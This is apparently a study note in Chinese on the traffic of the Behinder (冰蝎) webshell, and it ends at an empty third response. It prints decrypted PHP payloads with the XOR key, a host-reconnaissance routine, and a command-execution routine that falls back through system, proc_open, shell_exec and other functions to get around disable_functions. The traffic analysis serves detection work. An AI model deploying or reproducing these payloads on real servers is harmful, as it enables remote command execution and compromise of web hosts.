webshell学习

冰蝎

流量分析

参考: https://www.freebuf.com/sectool/355425.html

使用 default_xor_base64 协议,上传生成好的 shell 文件,使用 wireshark 进行抓包。抓取冰蝎连接 shell 时的流量。在 wireshark 里,右键进行 tcp 流的追踪。

第一次请求

将加密的内容进行解密,得到如下代码。(解密操作可以在冰蝎的传输协议配置页面下方进行解密,中文有乱码)

<?php  
@error_reporting(0);  
function main($content)  
{  
    $result = array();  
    $result["status"] = base64_encode("success");  
    $result["msg"] = base64_encode($content);  
    @session_start();  //初始化session,避免connect之后直接background,后续getresult无法获取cookie  
    echo encrypt(json_encode($result));  
}  
  
function Encrypt($data)  
{  
    $key = "e45e329feb5d925b";  
    for ($i = 0; $i < strlen($data); $i++) {  
        $data[$i] = $data[$i] ^ $key[$i + 1 & 15];  
    }    $bs = "base64_" . "encode";  
    $after = $bs($data . "");  
    return $after;  
}  
  
$content = "SndLeGxON2J3MUt3akFXSWZVR2pYbXJzNVFQTHF3VXI4UUNJTG52WVVWeDNJOTBobFNUbTNETTAxN0YybFRPS3BjQ3Z2NzNCa1phbFNWaHNQSmtYSmdEdHp0RTdQbFVCbm94QzNDbGtaVmJ1RGkwVGI0Q3NhbnFPdHJRS0p6M2JmUmFObWhYV0drYjJiaXB6c2xRMHNaZmJpTldkVlpNZVlQYkJJcnFzNlljZnlOZFpYUHRGa2doN1dGN3N1d1BaUHlHODJkSUlYWGF6dWhVQVBBZWZjSEhqSzhCTW9GRzVLSTNZYnppeGJzQjkxaktNNFlaSXF2RUcxOFluaFhxSUVQS2xUNG5DREJWa0o5TFBRdTRlS2ljWEM4MUpWTEtEVFg2V2NFRGMxaU8ydXdURXFjN1VjUFBJWVRLSFg3R0ZraEwzQWR0c05YT3oybGduYlZHZlUwQ1ZzcHU5VG03RUI5ZFk3cHBpd0FyVDNzNlNPQXJWRVNZUlprcFdFclNiZExYWUhabHVBM05vTnlsTkliS01XN2pyNFgxMm81MVJ5bnV2a3RCSEdHR2pCM3BSREkyTW9wM2UwUWRQSlJxWjNwdTRjZlpZUlMyd0ZYWnpsMlBkY2J4TXd2aVJyVkk2U0twWDdiVHFhbjIyWVlUZ05yNzhPbnNjSDZhV2hBZU82ODVjc0hTV3Vid0Zhd1drNGJ6RmFuV0JiOTM1eEZJdmVIbFZDV1BnR3BZTklJTlFaT2VRUXRzTkhjNmZDUlZrZnJtNGZRYmdyR1hWZUtPTG13T2FKWGRoWnB0VWpudjJhY0FFZ2kyaG9rNHhKUmYxNjlESHpPYlkwZndjYzVBY0lkMzluVGNSb2s5RmdHMWpKODcwcmk2amdhNmhEVzZkU28ySTFXVkd1YW1KcENWNFZyUnRDMkZHTzhvRk9tTXp6NTA3MjgycXYyam1jMnhIcjhzd3FSTHFsaUdwSHBiOFd1VDBybmtjNjVWMlJPdXExM0NkMGVla3VEb05PVG9CWExMcTJvQ1p1cEwxMEZ0MUg0ZlNod2Z1TWx6NkpZcU96RlVadGdMbUJ4RjZ6SXdnMnlTT25PaEdFSGIyTzFydGVPMWJFV0pkV1cxeG1hNklYbENnZ200NUxsYUx2Q1VBVEFmYVRGdTdSOXFLYUN0cjdWY0FnUFFETTM0VURnbnF1RE03Z21FckhyUHJ3WVZwcDZOakhnc093MkhndlE1WUlURUdMTm1WMkllaG03N2h4VXFBQm4xQ1lNMm1iT2g5b3lnNU1YRm9SdEoxRnVxY1Q0VkdTYXJwbmppcjZCenhmNEVyYlhvSmprNmZzYWZjR0N2RkZtZFZSTEFRODNNeDFxR0FOaDdXSHBNdDN1d09ZMjA1Tm5xTFBTOXUwRUVtbXU0Y29GWXdrNnk1UDJkNWpBeTYwb0tBSHh4QWV0eHFwZ3V1clV4NFZtb25ZTEhPOGc5bnplUmlLYmNQOTFGb1RKWTRVWWEwbkQwdEFIbmdUSmluNDNNZWVlaE92TzRQR2RLbzNzM25qSER3dmdiMXhhMlBJS3FzNkRFa3VNT2pva3RuZm5iazhhTnpQZWNxblBEN3R3cnRVOFZDWXJvZjhNUUhHTmNndEFHUVEzamJHeUkwV1kxSVBTYmpuWWpvUm5raXNwaHh6SlpGU1NVOTQ5cnYzMTdkak5tUnBXbXI0Ym9rMU5KOVFWckl4WHJWekh5Q2Vhc0ZUTWdrMFh2WTFJYnNvMU1PZExjMkxUbmYwc09IUFlkcGFtemZJNVc5YmZyQkFSVjdZZkFuazNMMldacHVNdGNlelhuVWZVdE13aUU2TjFxNmtKczc4WmJIYVVtRnBhVmJOYnNTUFIza1BiTGJaY1B6ZHFKTDFPek5aQmhiR0tmcWNmOUZzeFJUTUk5WVdzV2RVOFBUaFM0UWhKT2R6aHRYVXBzVFhTaXg4Vk9CT1dkdGUwWXZKYlBMMkRMQkV5dWRVMzl1VzRQdks1Z2JrVk1TZUxKanI2aHJORk1hM3hnVkVoNG1NNWV5SHdmSGhJa2xtOWsyODBHSURlb0hLUDl1TVo2ZWV3am4zMm15TG1jNG1pWHVoWkV4MVc2OUtJTUxEak9EYXdFZDBQeXZ6cjVhRFAzZnFLRU4zZUIwVjBEd2hQQ3JaaElrcGJqVXpHSlRpTURBTWNCNEVvWjBRa2pORlFiczR6b0tUeFlyNHNBT3Y=";  
$content = base64_decode($content);  
main($content);

第一次响应

在冰蝎的传输协议下方将响应内容进行解密,得到 status 和 msg 。

status 解码:success

msg 和第一次请求中的 content 是一样的。

{"status":"c3VjY2Vzcw==","msg":"SndLeGxON2J3MUt3akFXSWZVR2pYbXJzNVFQTHF3VXI4UUNJTG52WVVWeDNJOTBobFNUbTNETTAxN0YybFRPS3BjQ3Z2NzNCa1phbFNWaHNQSmtYSmdEdHp0RTdQbFVCbm94QzNDbGtaVmJ1RGkwVGI0Q3NhbnFPdHJRS0p6M2JmUmFObWhYV0drYjJiaXB6c2xRMHNaZmJpTldkVlpNZVlQYkJJcnFzNlljZnlOZFpYUHRGa2doN1dGN3N1d1BaUHlHODJkSUlYWGF6dWhVQVBBZWZjSEhqSzhCTW9GRzVLSTNZYnppeGJzQjkxaktNNFlaSXF2RUcxOFluaFhxSUVQS2xUNG5DREJWa0o5TFBRdTRlS2ljWEM4MUpWTEtEVFg2V2NFRGMxaU8ydXdURXFjN1VjUFBJWVRLSFg3R0ZraEwzQWR0c05YT3oybGduYlZHZlUwQ1ZzcHU5VG03RUI5ZFk3cHBpd0FyVDNzNlNPQXJWRVNZUlprcFdFclNiZExYWUhabHVBM05vTnlsTkliS01XN2pyNFgxMm81MVJ5bnV2a3RCSEdHR2pCM3BSREkyTW9wM2UwUWRQSlJxWjNwdTRjZlpZUlMyd0ZYWnpsMlBkY2J4TXd2aVJyVkk2U0twWDdiVHFhbjIyWVlUZ05yNzhPbnNjSDZhV2hBZU82ODVjc0hTV3Vid0Zhd1drNGJ6RmFuV0JiOTM1eEZJdmVIbFZDV1BnR3BZTklJTlFaT2VRUXRzTkhjNmZDUlZrZnJtNGZRYmdyR1hWZUtPTG13T2FKWGRoWnB0VWpudjJhY0FFZ2kyaG9rNHhKUmYxNjlESHpPYlkwZndjYzVBY0lkMzluVGNSb2s5RmdHMWpKODcwcmk2amdhNmhEVzZkU28ySTFXVkd1YW1KcENWNFZyUnRDMkZHTzhvRk9tTXp6NTA3MjgycXYyam1jMnhIcjhzd3FSTHFsaUdwSHBiOFd1VDBybmtjNjVWMlJPdXExM0NkMGVla3VEb05PVG9CWExMcTJvQ1p1cEwxMEZ0MUg0ZlNod2Z1TWx6NkpZcU96RlVadGdMbUJ4RjZ6SXdnMnlTT25PaEdFSGIyTzFydGVPMWJFV0pkV1cxeG1hNklYbENnZ200NUxsYUx2Q1VBVEFmYVRGdTdSOXFLYUN0cjdWY0FnUFFETTM0VURnbnF1RE03Z21FckhyUHJ3WVZwcDZOakhnc093MkhndlE1WUlURUdMTm1WMkllaG03N2h4VXFBQm4xQ1lNMm1iT2g5b3lnNU1YRm9SdEoxRnVxY1Q0VkdTYXJwbmppcjZCenhmNEVyYlhvSmprNmZzYWZjR0N2RkZtZFZSTEFRODNNeDFxR0FOaDdXSHBNdDN1d09ZMjA1Tm5xTFBTOXUwRUVtbXU0Y29GWXdrNnk1UDJkNWpBeTYwb0tBSHh4QWV0eHFwZ3V1clV4NFZtb25ZTEhPOGc5bnplUmlLYmNQOTFGb1RKWTRVWWEwbkQwdEFIbmdUSmluNDNNZWVlaE92TzRQR2RLbzNzM25qSER3dmdiMXhhMlBJS3FzNkRFa3VNT2pva3RuZm5iazhhTnpQZWNxblBEN3R3cnRVOFZDWXJvZjhNUUhHTmNndEFHUVEzamJHeUkwV1kxSVBTYmpuWWpvUm5raXNwaHh6SlpGU1NVOTQ5cnYzMTdkak5tUnBXbXI0Ym9rMU5KOVFWckl4WHJWekh5Q2Vhc0ZUTWdrMFh2WTFJYnNvMU1PZExjMkxUbmYwc09IUFlkcGFtemZJNVc5YmZyQkFSVjdZZkFuazNMMldacHVNdGNlelhuVWZVdE13aUU2TjFxNmtKczc4WmJIYVVtRnBhVmJOYnNTUFIza1BiTGJaY1B6ZHFKTDFPek5aQmhiR0tmcWNmOUZzeFJUTUk5WVdzV2RVOFBUaFM0UWhKT2R6aHRYVXBzVFhTaXg4Vk9CT1dkdGUwWXZKYlBMMkRMQkV5dWRVMzl1VzRQdks1Z2JrVk1TZUxKanI2aHJORk1hM3hnVkVoNG1NNWV5SHdmSGhJa2xtOWsyODBHSURlb0hLUDl1TVo2ZWV3am4zMm15TG1jNG1pWHVoWkV4MVc2OUtJTUxEak9EYXdFZDBQeXZ6cjVhRFAzZnFLRU4zZUIwVjBEd2hQQ3JaaElrcGJqVXpHSlRpTURBTWNCNEVvWjBRa2pORlFiczR6b0tUeFlyNHNBT3Y="}

第二次请求

解密后的代码

error_reporting(0);  
function main($whatever)  
{  
    $result = array();  
    ob_start();  
    phpinfo();  
    $info = ob_get_contents();  
    ob_end_clean();  
    $driveList = "";  
    if (stristr(PHP_OS, "windows") || stristr(PHP_OS, "winnt")) {  
        for ($i = 65; $i <= 90; $i++) {  
            $drive = chr($i) . ':/';  
            file_exists($drive) ? $driveList = $driveList . $drive . ";" : '';  
        }    } else {  
        $driveList = "/";  
    }    $currentPath = getcwd();  
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;  
    $osInfo = PHP_OS;  
    $arch = "64";  
    if (PHP_INT_SIZE == 4) {  
        $arch = "32";  
    }    $localIp = gethostbyname(gethostname());  
    if ($localIp != $_SERVER['SERVER_ADDR']) {  
        $localIp = $localIp . " " . $_SERVER['SERVER_ADDR'];  
    }    $extraIps = getInnerIP();  
    foreach ($extraIps as $ip) {  
        if (strpos($localIp, $ip) === false) {  
            $localIp = $localIp . " " . $ip;  
        }    }    $basicInfoObj = array(  
        "basicInfo" => base64_encode($info),  
        "driveList" => base64_encode($driveList),  
        "currentPath" => base64_encode($currentPath),  
        "osInfo" => base64_encode($osInfo),  
        "arch" => base64_encode($arch),  
        "localIp" => base64_encode($localIp));  
    //echo json_encode($result);  
    $result["status"] = base64_encode("success");  
    $result["msg"] = base64_encode(json_encode($basicInfoObj));  
    //echo json_encode($result);  
    //echo openssl_encrypt(json_encode($result), "AES128", $key);    echo encrypt(json_encode($result));  
}  
  
function getInnerIP()  
{  
    $result = array();  
    if (is_callable("exec")) {  
        $result = array();  
        exec('arp -a', $sa);  
        foreach ($sa as $s) {  
            if (strpos($s, '---') !== false) {  
                $parts = explode(' ', $s);  
                $ip = $parts[1];  
                array_push($result, $ip);  
            }            //var_dump(explode(' ',$s));  
            //array_push($result, explode(' ', $s)[1]);        }  
    }    return $result;  
}  
  
function Encrypt($data)  
{  
    $key = "e45e329feb5d925b";  
    for ($i = 0; $i < strlen($data); $i++) {  
        $data[$i] = $data[$i] ^ $key[$i + 1 & 15];  
    }    $bs = "base64_" . "encode";  
    $after = $bs($data . "");  
    return $after;  
}  
  
$whatever = "RTBlREd1QlVUUHdkRE5FbDlEWXJXZE10dklRdHNWSE1yRE9UZk1MZzFIVWdsekRFc2NDTkZkeHhhZjBnN29EWndkcFh3bmh4OEs3eEducWF6Skk3eUxhS1hNeDB3UzNDZU5MT1V6TTI4YVFjM0JwN2g3OWt6Qm5DU2Rzc1dWNkprQnRNd2dpTGhqYVdmNHdpN2RiWkp4WW9ORndpVGFWbEVJdFU4U2VrYlIxY05ZS0RES3FtOWt0N1lrRFI0clV3VktmcHlKMFlFZkxNRVVHbllQaGI2U2VSOVp4ZWc4ODhJSHNxZktPdm54YVY0Sm9jVm9GVVVpU0lZRjcwOEZyWW5WMThaRkJUYlliUzdXRVN3c2FEUm85T2FXRzd2bVpBbk9WdE00ZHdlYjVaMmExVHlXNXM0V1kwVkJzWDhyZnJ3WHJ4NU1kUkxkTFpseEhSOUVhQmFsM0k4SHJtOGxxTm0ySzNXc0EwTzQ3OVppVW5WTnFZMmNzdU4zS3cwZ3VVVFpGQ0N3d1h5WkhuVGJsOWdwZW54OWN2YmFxZFZHcFA1NFZOZUxmOXJtcWtYUVJxc3RVaTVKblhnQm8xZ0llT1VVNFJCVGoyVXR2eGFkcXN4MWNoMGprc1ZJYTdPM2w3NlYxRW5NajBuR3JmMDVtUjlYdFFwakU0cjBJVGx4Z29uc0xYbU55Z2F6b3lza29haXlVMjVxMHlBejM3NlIwQkJhYTlIWVcwMWpvNTNtT1RXVzd2cEtMZWFiRVN4elFoNmlDNlZJSndPbTJka3ZIUXJjVGRkeXdVOVdVbE4zQ0ZlOTJ1blFMTGZiYndDcnRwUHl2SGd3QkRoMUY1S2RnMFJ6eHFBYmJGYzVIUGFqSUJlWVpXbEsybjRaZjlyVWJBYnhtbWU2ZTJYeEFOdnEzTVAzWE50ZkxDc05QUmcwVGR4dk5DRjFVZlk4ZFFiY3pnTTF3MFMxeUpTeWtmTG4yOW5kY3l5dlJjUHN6ckpNMEVrbERONllOaVJGd2lKdGJKd3BVMENBdXBlbU1iZDlDU2ZydTJPZVN6ZGxaVjlFRnNibWJnQUNZckMzVFFHRFVjT01LNlY1MGx2c09ydWhzbHdPdUtvZHIyRFN4cnFSU0ZUYmE5NEI3OGVoaVpOR1NjMkZrMEJZaFNneTRoU204REdzdVVTMG40dUxIdjV6ZzltMXo0VDNBOVREQURHeUZXTHdNdmJiUksybEt1enNZ";  
$whatever = base64_decode($whatever);  
main($whatever);

第二次响应

在冰蝎的传输协议下方将响应内容进行解密,得到 status 和 msg 。

复制下方的 msg 内容,使用 base 64 进行解码。解码后会得到 basicInfo 字段,复制这个字段的值在进行一次 base 64 解码,就得到明文数据了。(msg 字段太长了,下面只是开头的一小部分,可以解码一小部分)

{"status":"c3VjY2Vzcw==","msg":"eyJiYXNpY0luZm8iOiJQQ0ZFVDBOVVdWQkZJR2gwYld3Z1VGVkNURWxESUNJdEx5OVhNME12TDBSVVJDQllTRlJOVENBeExqQWdWSEpoYm5OcGRHbHZibUZzTHk5RlRpSWdJa1JVUkM5NGFIUnRiREV0ZEhKaGJuTnBkR2x2Ym1Gc0xtUjBaQ0krQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajQ4YUdWaFpENEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S1ltOWtlU0I3WW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTJabVpqc2dZMjlzYjNJNklDTXlNakk3SUdadmJuUXRabUZ0YVd4NU9pQnpZVzV6TFhObGNtbG1PMzBLY0hKbElIdHRZWEpuYVc0NklEQTdJR1p2Ym5RdFptRnRhV3g1T2lCdGIyNXZjM0JoWTJVN2ZRcGhPbXhwYm1zZ2UyTnZiRzl5T2lBak1EQTVPeUIwWlhoMExXUmxZMjl5WVhScGIyNDZJRzV2Ym1VN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTm1abVk3ZlFwaE9taHZkbVZ5SUh0MFpYaDBMV1JsWTI5eVlYUnBiMjQ2SUhWdVpHVnliR2x1WlR0OUNuUmhZbXhsSUh0aWIzSmtaWEl0WTI5c2JHRndjMlU2SUdOdmJHeGhjSE5sT3lCaWIzSmtaWEk2SURBN0lIZHBaSFJvT2lBNU16UndlRHNnWW05NExYTm9ZV1J2ZHpvZ01YQjRJREp3ZUNBemNIZ2dJMk5qWXp0OUNpNWpaVzUwWlhJZ2UzUmxlSFF0WVd4cFoyNDZJR05sYm5SbGNqdDlDaTVqWlc1MFpYSWdkR0ZpYkdVZ2UyMWhjbWRwYmpvZ01XVnRJR0YxZEc4N0lIUmxlSFF0WVd4cFoyNDZJR3hsWm5RN2ZRb3VZMlZ1ZEdWeUlIUm9JSHQwWlhoMExXRnNhV2R1T2lCalpXNTBaWElnSVdsdGNHOXlkR0Z1ZER0OUNuUmtMQ0IwYUNCN1ltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0l6WTJOanNnWm05dWRDMXphWHBsT2lBM05TVTdJSFpsY25ScFkyRnNMV0ZzYVdkdU9pQmlZWE5sYkdsdVpUc2djR0ZrWkdsdVp6b2dOSEI0SURWd2VEdDlDbWd4SUh0bWIyNTBMWE5wZW1VNklERTFNQ1U3ZlFwb01pQjdabTl1ZEMxemFYcGxPaUF4TWpVbE8zMEtMbkFnZTNSbGVIUXRZV3hwWjI0NklHeGxablE3ZlFvdVpTQjdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2dJMk5qWmpzZ2QybGtkR2c2SURNd01IQjRPeUJtYjI1MExYZGxhV2RvZERvZ1ltOXNaRHQ5Q2k1b0lIdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpPVGxqT3lCbWIyNTBMWGRsYVdkb2REb2dZbTlzWkR0OUNpNTJJSHRpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqWkdSa095QnRZWGd0ZDJsa2RHZzZJRE13TUhCNE95QnZkbVZ5Wm14dmR5MTRPaUJoZFhSdk8zMEtMbllnYVNCN1kyOXNiM0k2SUNNNU9UazdmUXBwYldjZ2UyWnNiMkYwT2lCeWFXZG9kRHNnWW05eVpHVnlPaUF3TzMwS2FISWdlM2RwWkhSb09pQTVNelJ3ZURzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kyTmpZenNnWW05eVpHVnlPaUF3T3lCb1pXbG5hSFE2SURGd2VEdDlDand2YzNSNWJHVStDangwYVhSc1pUNXdhSEJwYm1adktDazhMM1JwZEd4bFBqeHRaWFJoSUc1aGJXVTlJbEpQUWs5VVV5SWdZMjl1ZEdWdWREMGlUazlKVGtSRldDeE9UMFpQVEV4UFZ5eE9UMEZTUTBoSlZrVWlJQzgrUEM5b1pXRmtQZ284WW05a2VUNDhaR2wySUdOc1lYTnpQU0pqWlc1MFpYSWlQZ284ZEdGaWJHVStDangwY2lCamJHRnpjejBpYUNJK1BIUmtQZ284WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTG5Cb2NDNXVaWFF2SWo0OGFXMW5JR0p2Y21SbGNqMGlNQ0lnYzNKalBTSmtZWFJoT21sdFlXZGxMM0J1Wnp0aVlYTmxOalFzYVZaQ1QxSjNNRXRIWjI5QlFVRkJUbE5WYUVWVlowRkJRVWhyUVVGQlFrRkRRVmxCUVVGQksybzVaM05CUVVGQlIxaFNSbGRJVWxSaU1sb3daREpHZVZwUlFrSmFSemxwV2xOQ1NtSlhSbTVhVmtwc1dWZFNOV05qYkd4UVFVRkJSRFJDU2xKRlJsVmxUbkp6YmxoMGQxaEdWV1I0T0M5a1FrZHBhRzFGTWpGUlEzSlJSRmsyYjFwYWVXdHZiaTluV1RWeGFYcHFaMDB5UzFGTlpucEdRVTlwYjA5Qk5VdEZhQ3RxTkZJNWIxcElOM3BVTmsxQlRVdHlUbkJvV2taVFVYSmxTMGhTWjFwdGMzQk1TRk5EU2pKRGJ6WjBRblJLYXpkYWNITTNkRXB6TlhRNU5VWTFMek16VUhaWFZUUXlPVE5HTWpsNVltUnNVSHBoVFROa1pqSllVSFlyV25wbU5DOTZUM1ZYWXpGMGEycHNLMVF3U0ZFelUxRkRObE5DVTJ4RU5sZExUalJ5ZFhOSGJUbEdNWEJ6TDI4MWJWQnlhVTltT0dSa01GbHZUbVpwTUc1ME5HNTBRakZRVkRSNldYZDZVV3RtTTJ0U09TOXpWelI0ZEhCVE1FTnRSVEJUZVZCVlJsVktXRVpOU1hoYVkwMHdha0ZhTkhoeVMwMTFaRkZVTnprMk0waENSakJ1TmtWaFZXcHJVREIyU1RsTE9VOUZTRmR4U2t4clRsY3hjemh0UXpKWFoxWlVkMGRCY1ZkVVlXWktlbFJYVkV0YWJWRjFXaTlyTVUxd1FXa3lLMlY1Y3padGNGZG1WbUZCVUhwalNVeDFPRVZXUzI5RFFXRlpSblJRZUhKQldHODRjWGxPZDNwYVl6ZG5VMmQ2WjA0NVNIZ3dSV051TTJvNGVISTBiSGxJVDJoT2NteHdZVXBKWjNCMFRUVkVha05rZW5KS01FcHRZMlUyWWxkR2EwOXdjWE13VFVWeVFUUm5XRWxDZFVGdFdUVXpaMFp0VDFCRFkyUmhWRmhEWW5FcmJqRTJVRkJNV0dwbGQwMW1SMk5uUlhSMFJVTmxiM1ZVY0dzMVRYQnNhSGxMYzFCQ1ZHbFlUbGw1VlV4MGQwbFhOME40TVhac2QzVktlVVJNVWpsTU1HMVJhVlpRWWpJM1ptaEJOVFI1UW1KSGRIUk5jR014VDFkM1JqRmpiVXRoU0RKR1UwWTNka0ZxUjJWNlQxcGFTbG81YWpCa1NWcHNUV2h1ZFZKcFZHOU5UekJqSzA0MFdEZHZhM05oYzJkRmREbFlVekpMV2tOSWVtOWxiVEpKZUhFMWVuQkJkVVJVY1ZSU01UUkdUWE5zV25sbGNHVkZTVFJQWjJveU5tNHdka3hxTXpOMWFXbG5SWGhuVFZkU2NIUXJRMGREYzBWbFVGcHhiMlZRVFRjek9FSlFWR0ZLZWxRM1EzQlZNRzUxTVhsWWNFRllRME16Vm1WU2EwTlhOR0ptU2xsR1dtODJaRzFLZVZGVVZ6SjBkbHBqTVc1aU56RTVhWGxhVjJNMVptMWFOazl6ZFRaSU0zVldlbWwwTlRKdlFtNU5iR3d5V1dsNlIzaHJPRzExUmxwTVFYTm9ZaTlaUzNSNlVXUmpZVTh6V1RKRFVUZGxhWGtyV1U1SGRreE9LelFyYmtwbGRHMHpZbmhvUzBwNFNub3pNVFo0V25jeGNHSlhPV3RNWlhjcmR6RTVORFJZUWtWaFVHbzJaVmxEWlU5NE1XZHhUbVV3TjJKTE1VMTNTVVJpUzJOUFJrOVNORGxIZFdWUVZEVm1ZMlpQVFZneVpISlFXR05STUhwbU4za3lkSFppVjFaa1dFWXZkakZyTWl0NVVUUmtVRlp3VVRWUU1GVnRMMDVxYjBOWU5sVkNUVVphVWpackszVTNjVTFaVmtKWlJFbEZjVUpYTjJWWVFXWlFXbGd4T1hwd01pOXZZVWRDU0hselRrMUhWRVpwYmxCYWFXczVabGRuWjJKSk5VOXRZakV6ZWxWRVpVSXpiRXh6WkhkaFN5OVpVR1Y1UVVaVk1HazRRWGM1THpKRWQzbDRORk5RYWtaUlJWbFZiR1l6VFZSWmR6UktlRGREU1ZaRFlraFNNRzl4U1VST1RVUXJSazFISzFwRk1HUlBMM1J6U0d4MlFWZHVXVk0yU0RSeGFtWk5ReXRhYkdRdmQyYzVNaTkwZFhZeVYyVmxXVlE0TjJvclNESmhSa1I0ZVhOSFRIVlRlU3R2TDNvME9VUlJhMDlPYm0xd2NXRXlUV3BTZVc5WmMxcFBXRXRIYm1JMVdpdDJXbkZzVlhKNFZYTkJka2s1UVhRdmIwc3JaV3h1UW5CdlRuY3JSR0ZwT1ZSbGExTk5lRVJ5WjFOb01FdHlVMWx6YUZSd2NtTXlUbWh2VW1ZeFNuUnNhV3R4YVhKQlZtdzVPRUZrWkhOVFlYWkVRa1J5YzBNclVXUlVOeTlVVTI5Q016UTBkSHBQV2pNNUt6Y3dVbUp3YjNKV1pYSnhZWE41ZHpGTlJXNURPR2xXTmtrNVZsUkVhVEIxY1dKdFpsQkdVM0V5Vnl0bmVWVklXSFZGWkdJelYxSTFjbUZpTldwdVJETnBMMEpPVFU0NFEyaE9ZWEZ6VkdsTFlUVTFTMjFDVjFnclZIVnFNRmhSWkZGV1JqTXdOMjVvVkVnd1ExQnNjeXRQTUZWUVltRlVOVlJSUnk4NGNWZzJPSFUyVEhCV05qZE1VVFprVG10dVlWbG5ZVmw1VUVSNE1sUjZkbGxIUTNOdWFGSnJTRGhpTDNKelJqSkhSR294VFVOSmJtdDJlSFpTYWs5MVExVnNhWEJYUkM5NmNrdDROMXBQZDBKR01IWm1VMU5OTWxOb2VXRnhRVUZQUXpGT2R5dDZkRGt2TlZsT1luSk9NWHBtZDBsa2NHWm5ibkZsWW5ZdlFUWndibGRCYmpSeGJGY3hTRkJuU0ZFMlQyVnZSek5PT1ZKUEx5dFRkRTFrUkhSdFZqSk1lRXBRWmtKd1VVTkhabmRVWjNKV2RUTTRha1p5UzJGWE1uUndXblF5VEVOQ1pGaFNNSE5GWjJ0M2FIWXlNWFU1WTNoUmMzbFhNMXBDTVN0RVoyOVBUVFUwWW5SVk5uUjFPR1ZVVUhJMlpXeG9lVFZtY2pkSldrNUVaWGtyWlRjMlpUa3Zaa05NWTBGc2JFaHdaRXRMYVc1d1lWVnNXRGdyTVRFeGVFSTVWbnBPY2xsNGNWVkJXUzlZVmxaV1NsbE5UMlZyVEhVeVprWkhUVGhXVjFsUlVsbHBXV3RWT1dKRU5IWlFiRWhHV1c1SU5DOTZkbXRpTVVObmQwRkRTR2ROYjFWd1pIbDNNM05HV0dOWVZXZzBXVWhoVGxOSVJIRmhlR1JNTldwM1ZsUllRbkJsV0ZaWk9XOUdNMUpqVlZFclR6QTVUbFEzUTJGNVpteGtLelJTU214UU5ESm5WRWx4T0hjMk5sRm1MMWcwWVRaR1ZGTlRUVTFFWTJGRkwwNW9XV1ZqVFUwclRXUjVSemt3VDBGb2IyUlhiMEZIYTFSVllWTmFRbmxQTlZka2FVRTBSM0YzVTNSeWNrMDJhelYyUmt0RldGRnpaWEp5TmpOc04yOVNOVll3VGtKdmFrdGpkR0ZUV25SaWJtVkZjazkwUjIxR2VIZHJSMlYzYW1zd1ZYcHdRMVZzU2xOSlVuRk5ZMnBPT0VOclNFeEVjWGxTUW5seE1GQkZSMEpDYUVSdFpHbzNjbEZXZFdwQllVeG1jbkpzYXpkNGVW

第三次请求:执行 dir 命令

解密后的代码

@error_reporting(0);  
function getSafeStr($str)  
{  
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);  
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);  
    if ($s0 == $str) {  
        return $s0;  
    } else {  
        return iconv('gbk', 'utf-8//IGNORE', $str);  
    }}  
  
function main($cmd, $path)  
{  
    @set_time_limit(0);  
    @ignore_user_abort(1);  
    @ini_set('max_execution_time', 0);  
    $result = array();  
    $PadtJn = @ini_get('disable_functions');  
    if (!empty($PadtJn)) {  
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);  
        $PadtJn = explode(',', $PadtJn);  
        $PadtJn = array_map('trim', $PadtJn);  
    } else {  
        $PadtJn = array();  
    }    $c = $cmd;  
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {  
        $c = $c . " 2>&1\n";  
    }    $JueQDBH = 'is_callable';  
    $Bvce = 'in_array';  
    if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {  
        ob_start();  
        system($c);  
        $kWJW = ob_get_contents();  
        ob_end_clean();  
    } else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {  
        $handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);  
        $kWJW = NULL;  
        while (!feof($pipes[1])) {  
            $kWJW .= fread($pipes[1], 1024);  
        }        @proc_close($handle);  
    } else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {  
        ob_start();  
        passthru($c);  
        $kWJW = ob_get_contents();  
        ob_end_clean();  
    } else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {  
        $kWJW = shell_exec($c);  
    } else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {  
        $kWJW = array();  
        exec($c, $kWJW);  
        $kWJW = join(chr(10), $kWJW) . chr(10);  
    } else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {  
        $fp = popen($c, 'r');  
        $kWJW = NULL;  
        if (is_resource($fp)) {  
            while (!feof($fp)) {  
                $kWJW .= fread($fp, 1024);  
            }        }        @pclose($fp);  
    } else {  
        $kWJW = 0;  
        $result["status"] = base64_encode("fail");  
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");  
        $key = $_SESSION['k'];  
        echo encrypt(json_encode($result));  
        return;  
    }    $result["status"] = base64_encode("success");  
    $result["msg"] = base64_encode(getSafeStr($kWJW));  
    echo encrypt(json_encode($result));  
}  
  
function encrypt($data)  
{  
    $key = "e45e329feb5d925b";  
    for ($i = 0; $i < strlen($data); $i++) {  
        $data[$i] = $data[$i] ^ $key[$i + 1 & 15];  
    }    $bs = "base64_" . "encode";  
    $after = $bs($data . "");  
    return $after;  
}  
  
$cmd = "Y2QgL2QgIkM6XHBocHN0dWR5XFdXV1wiJmRpcg==";  
$cmd = base64_decode($cmd);  
$path = "QzovcGhwc3R1ZHkvV1dXLw==";  
$path = base64_decode($path);  
main($cmd, $path);

第三次响应:dir 命令结果

响应结果:

